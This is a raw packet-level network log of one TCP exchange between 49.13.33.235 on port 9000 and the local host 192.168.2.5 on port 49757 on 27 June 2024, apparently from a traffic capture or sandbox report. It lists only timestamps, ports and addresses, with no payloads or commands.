Jun 27, 2024 06:44:38.190282106 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.190315008 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.190335989 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.190346003 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.190354109 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.190388918 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.197074890 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.197108030 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.197139978 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.197143078 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.197156906 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.197185040 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.203898907 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.203933001 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.203968048 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.203969002 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.203985929 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.204004049 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.210697889 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.210731030 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.210747004 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.210763931 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.210767031 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.210798025 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.216558933 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.216592073 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.216624022 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.216639042 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.216665983 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.222430944 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.222476959 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.222489119 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.222520113 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.222551107 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.222579956 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.222611904 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.222611904 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.227998018 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.228049040 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.228050947 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.228084087 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.230604887 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.230638027 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.230658054 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.230671883 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.230689049 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.230715036 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.235842943 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.235876083 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.235901117 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.235908985 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.235912085 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.235948086 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.241007090 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.241039991 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.241070032 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.241089106 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.241111994 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.246067047 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.246098995 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.246112108 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.246131897 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.246134996 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.246181011 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.251178980 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.251211882 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.251233101 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.251244068 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.251251936 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.251287937 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.255799055 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.255848885 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.255851030 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.255884886 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.255932093 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.260704041 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.260736942 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.260754108 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.260775089 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.260787010 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.260827065 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.265801907 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.265862942 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.265872002 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.265906096 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.265913963 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.265938997 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.268903971 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.268949986 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.268959045 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.268992901 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.269001007 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.269027948 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.271907091 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.271956921 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.271989107 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.272005081 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.272028923 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.275109053 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.275158882 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.275173903 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.275192022 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.275211096 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.275234938 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.278292894 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.278326988 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.278351068 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.278357983 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.278367043 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.278398037 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.281089067 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.281135082 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.281197071 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.281229019 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.281248093 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.281269073 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.284038067 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.284070969 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.284110069 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.284115076 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.284154892 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.290155888 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.290191889 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.290210009 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.290224075 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.290225983 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.290287971 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.290498018 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.290530920 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.290564060 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.290579081 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.290605068 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.293359041 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.293392897 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.293425083 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.293442011 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.293529987 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.296536922 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.296587944 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.296602011 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.296619892 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.296632051 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.296674013 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.299633980 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.299686909 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.299732924 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.299736023 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.299773932 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.302400112 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.302431107 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.302462101 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.302464008 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.302484035 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.302496910 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.302541018 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.305182934 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.305270910 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.305284023 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.305315971 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.305324078 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.305351973 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.308478117 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.308526039 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.308557987 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.308561087 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.308573008 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.308600903 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.311325073 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.311373949 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.311378956 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.311407089 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.311459064 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.314513922 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.314547062 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.314569950 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.314578056 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.314583063 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.314616919 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.317315102 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.317347050 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.317378044 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.317394972 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.317420006 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.320588112 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.320640087 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.320643902 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.320678949 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.320724010 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.320768118 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.320769072 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.320944071 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.322459936 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.322493076 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.322520018 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.322526932 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.322556019 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.322566032 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.325267076 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.325299978 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.325320959 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.325330973 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.325340033 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.325371981 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.328016996 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.328048944 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.328080893 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.328104019 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.328152895 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.331021070 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.331053972 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.331075907 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.331087112 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.331127882 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.333956003 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.333991051 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.334023952 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.334041119 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.334067106 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.337086916 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.337140083 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.337151051 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.337172031 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.337217093 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.339766026 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.339796066 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.339828968 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.339843035 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.339862108 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.339863062 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.339871883 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.340473890 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.342412949 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.342446089 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.342478037 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.342478037 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.342503071 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.342511892 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.345252037 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.345285892 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.345316887 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.345324993 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.345344067 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.345361948 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.348014116 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.348047972 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.348078966 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.348141909 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.350984097 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.351017952 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.351049900 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.351080894 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.351102114 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.353363037 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.353391886 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.353424072 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.353441954 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.353456974 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.353461981 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.353524923 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.356045961 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.356098890 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.356106997 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.356132030 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.356173992 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.358526945 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.358558893 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.358587980 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.358592033 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.358596087 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.358627081 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.361139059 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.361191988 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.361315012 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.361363888 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.361363888 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.361396074 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.361418009 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.361433029 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.363698006 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.363749027 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.363754988 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.363795996 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.363843918 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.366992950 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.367043018 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.367048979 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.367075920 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.367121935 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.368391991 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.368423939 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.368454933 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.368489981 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.368503094 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.370309114 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.370342016 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.370359898 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.370373011 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.370414019 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.372189999 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.372217894 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.372247934 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.372262001 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.372265100 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.372309923 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.372317076 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.372356892 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.374274015 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.374305010 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.374337912 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.374339104 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.374356985 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.374371052 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.374378920 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.374449968 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.376039028 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.376071930 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.376099110 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.376105070 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.376135111 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.376156092 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.378119946 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.378153086 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.378175020 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.378185034 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:38.378226995 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:38.379776001 CEST	9000	49757	49.13.33.235	192.168.2.5
